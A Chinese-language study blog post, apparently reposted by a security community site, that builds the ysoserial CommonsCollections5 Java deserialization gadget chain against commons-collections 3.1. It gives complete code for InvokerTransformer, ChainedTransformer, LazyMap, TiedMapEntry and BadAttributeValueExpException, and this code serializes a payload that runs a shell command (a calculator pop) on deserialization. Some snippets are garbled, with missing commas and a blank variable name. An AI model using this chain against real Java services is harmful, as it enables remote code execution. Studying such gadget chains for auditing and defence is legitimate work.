免费发布信息
当前位置:APP交易 > 热点资讯 > 资产交易 >  java反序列化学习记录-Common Collection

java反序列化学习记录-Common Collection

发表时间:2021-07-09 16:46:35  来源:红帽社区  浏览:次   【】【】【
红帽社区是一个垂直网络安全社区,融合“红帽先锋”正能量精神,每日分享最新安全资讯,提供安全问答、靶场、众测、漏洞库等功能,是网络安全爱好者学习、交流的优质社区。

Referer

https://y4er.com/post/ysoserial-commonscollections-5/

https://www.jianshu.com/p/d4954c691d09

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java

https://www.freebuf.com/news/150872.html

环境搭建

idea创建一个maven项目,在pom.文件中加入commons-collections依赖。

<? version="1.0" encoding="UTF-8"?>
<project ns="http://maven.apache.org/POM/4.0.0"
         ns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>ysoserialPayload</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
    </dependencies>

</project>

创建packagepayload

创建java文件CommonsCollections5写测试代码

package payload;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class CommonsCollections5 {
    public static void main(String[] args) {
        deserialize();
    }
    public static void serialize(Object obj) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
            os.writeObject(obj);
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void deserialize() {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

下载ysoserial

https://github.com/frohoff/ysoserial

mvn clean package -DskipTests

ubuntu gnome 测试

打开计算器命令为gnome-calculator

生成payload

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 gnome-calculator > test.ser

test.ser放到项目根目录

运行CommonsCollections5.java的main方法,成功弹出计算器

java 的执行系统命令

Runtime模块

import java.io.IOException;

public class hello {
    public static void main(String[] args) throws IOException {
        String [] cmd={"/bin/sh""-c""curl localhost:9999"};
        Process proc = Runtime.getRuntime().exec(cmd);
    }
}

反射链使用

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class world {
    public static void main(String[] args) throws NoSuchMethodException InvocationTargetException IllegalAccessException {
        Method method = Animal.class.getDeclaredMethod("print");
        Animal aa = new Animal();
        method.invoke(aa);
    }
}


class Animal {
    public void print() {
        System.out.println("Animal.print()");
    }
}

反射链调用Runtime执行命令

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test {
    public static void main(String[] args) throws NoSuchMethodException InvocationTargetException IllegalAccessException {
        Runtime runtime = Runtime.getRuntime();
        Class cls = runtime.getClass();
        Method method = cls.getMethod("exec"String.class);
        method.invoke(runtime"gnome-calculator");
    }
}

可以执行两次反射

public class test2 {
    public static void main(String[] args) throws Exception {
        Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime"new Class[]{}).invoke(null);
        Class.forName("java.lang.Runtime").getMethod("exec"String.class).invoke(runtime"gnome-calendar");

    }
}

getMethod("方法""方法类型");invoke("对象实例","参数");

Payload 构造

然后看

org.apache.commons.collections.functors.InvokerTransformer

transform方法

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName this.iParamTypes);
            return method.invoke(input this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception" var7);
        }
    }
}

可以看到

Class cls = input.getClass();
 Method method = cls.getMethod(this.iMethodName this.iParamTypes);
return method.invoke(input this.iArgs);

getClass 有了,getMethod 有了,invoke有了

我们需要将input设置为Runtime.getRuntime()

this.iMethodName设置为exec,this.iArgs设置为要执行的命令

尝试一下

package payload;

import org.apache.commons.collections.functors.InvokerTransformer;


public class test {
    public static void main(String[] args) {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec" new Class[]{String.class} new Object[]{new String("gnome-calculator")});
        Object result = invokerTransformer.transform(Runtime.getRuntime());
    }
}

ubuntu18成功弹出了计算器

我们需要构造

(Runtime) Runtime.class.getMethod("getRuntime").invoke(null).exec("gnome-calculator")Runtime.class 需要用ConstantTransformer来获取

可以看到runtime就是Runtime对象类型

InvokerTransformer按照

InvokerTransformer(String methodName Class[] paramTypes Object[] args)

格式构造

getMethod方法文档

https://docs.oracle.com/javase/8/docs/api/java/lang/Class.html

参数为String.classClass[].class由参数类型决定

来试试构造反射链(引用包省略了)

首先获取Runtime

//获取Runtime
Object first = new ConstantTransformer(Runtime.class).transform(new Class[]{});

用反射让其执行getRuntime

//给this.iMethodName this.iParamTypes this.iArgs赋值
InvokerTransformer tran1 = new InvokerTransformer("getMethod" new Class[]{String.class Class[].class} new Object[]{"getRuntime" null});
//执行反射方法
Method run = (Method) invokerTransformer.transform(first);

invoke

invoke(Object objObject...args)

InvokerTransformer tran2 = new InvokerTransformer("invoke" new Class[]{Class[].class Class[].class} new Object[]{null null});
//执行反射方法
Runtime run = (Runtime) invokerTransformer.transform(first);

最后反射执行exec("gnome-calculator")

InvokerTransformer tran1 = new InvokerTransformer("exec" new Class[]{String.class} new Object[]{"gnome-calculator"});

完整就是

public class test3 {
    public static void main(String[] args) throws Exception {
      Object first = new ConstantTransformer(Runtime.class).transform(new Class[]{});
      InvokerTransformer tran1 = new InvokerTransformer("getMethod" new Class[]{String.class Class[].class} new Object[]{"getRuntime" null});
      Method run = (Method) tran1.transform(first);
      InvokerTransformer tran2 = new InvokerTransformer("invoke" new Class[]{Object.class Object[].class} new Object[]{null null});
      Runtime run2 = (Runtime) tran2.transform(run);
      InvokerTransformer tran3 = new InvokerTransformer("exec" new Class[]{String.class} new Object[]{"gnome-calculator"});
      tran3.transform(run2);
    }
}

我们这里序列化了InvokerTransformer类,但是需要继续执行他的transform方法,于是需要ChainedTransformer的transform

ChainedTransformer

关键代码

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

public Object transform(Object ) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
         = this.iTransformers[i].transform();
    }

    return ;
}

这里将this.iTransformers的每一组元素都执行了transform方法,我们只需将this.iTransformers的每一项都设置为InvokerTransformer就可以了,最后再把ChainedTransformer对象执行一下transform方法

public class test3 {
    public static void main(String[] args) throws Exception {
      Object first = new ConstantTransformer(Runtime.class).transform(new Class[]{});
      InvokerTransformer tran1 = new InvokerTransformer("getMethod" new Class[]{String.class Class[].class} new Object[]{"getRuntime" null});
      Method run = (Method) tran1.transform(first);
      InvokerTransformer tran2 = new InvokerTransformer("invoke" new Class[]{Object.class Object[].class} new Object[]{null null});
      Runtime run2 = (Runtime) tran2.transform(run);
      InvokerTransformer tran3 = new InvokerTransformer("exec" new Class[]{String.class} new Object[]{"gnome-calculator"});
      tran3.transform(run2);
    }
}

成了

为了反序列化之后直接触发这一系列操作,链最开始的类要有一个readObject方法,这样才能重写了反序列化的readObject方法接着继续寻找调用transform

org.apache.commons.collections.map.LazyMap

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key value);
        return value;
    } else {
        return super.map.get(key);
    }
}

寻找执行get方法

org.apache.commons.collections.keyvalue.TiedMapEntry

public Object getValue() {
    return this.map.get(this.key);
}

public String toString() {
    return this.getKey() + "=" + this.getValue();
}

getValue调用了get方法,toString又调用了getValue方法,正好BadAttributeValueExpException类重写了readObject,并且readObject执行了toString方法

public String toString()  {
    return "BadAttributeValueException: " + val;
}

private void readObject(ObjectInputStream ois) throws IOException ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val" null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized  is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

继续接上面构造

LazyMapthis.factory设置为ChainedTransformer对象

public static Map decorate(Map map Transformer factory) {
    return new LazyMap(map factory);
}

decorate第一个参数需要Map类型,网上找了一下都是new HashMap();第二个参数是Transformer,也就是之前的chain

Map map = new HashMap();
Map lazymap = LazyMap.decorate(map chain);

接着将TiedMapEntry中的this.map设置为lazymap

TiedMapEntry

TiedMapEntry entry = new TiedMapEntry(lazyMapnull);

接着设置BadAttributeValueExpException中的valentry利用反射设置private参考https://blog.csdn.net/mrlixirong/article/details/6759715

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("name");
field.setAccessible(true);
field.set(badAttributeValueExpExceptionentry);

完整的代码

package payload;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class buildser {
    public static void main(String[] args) throws NoSuchFieldException IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class)
                new InvokerTransformer("getMethod" new Class[]{String.class Class[].class} new Object[]{"getRuntime" null})
                new InvokerTransformer("invoke" new Class[]{Object.classObject[].class} new Object[]{nullnull})
                new InvokerTransformer("exec" new Class[]{String.class} new String[]{"gnome-calculator"})
        };
        Transformer chain = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map chain);
        TiedMapEntry entry = new TiedMapEntry(lazyMapnull);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpExceptionentry);
        serialize(badAttributeValueExpException);

    }

    public static void serialize(Object obj) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
            os.writeObject(obj);
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void deserialize() {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

总结

因为java基础太差了,分析的很慢,接下来想分析fastjson和CVE-2020-25552551来提高java审计水平


责任编辑:
声明:本平台发布的内容(图片、视频和文字)以原创、转载和分享网络内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。

德品

1377 678 6470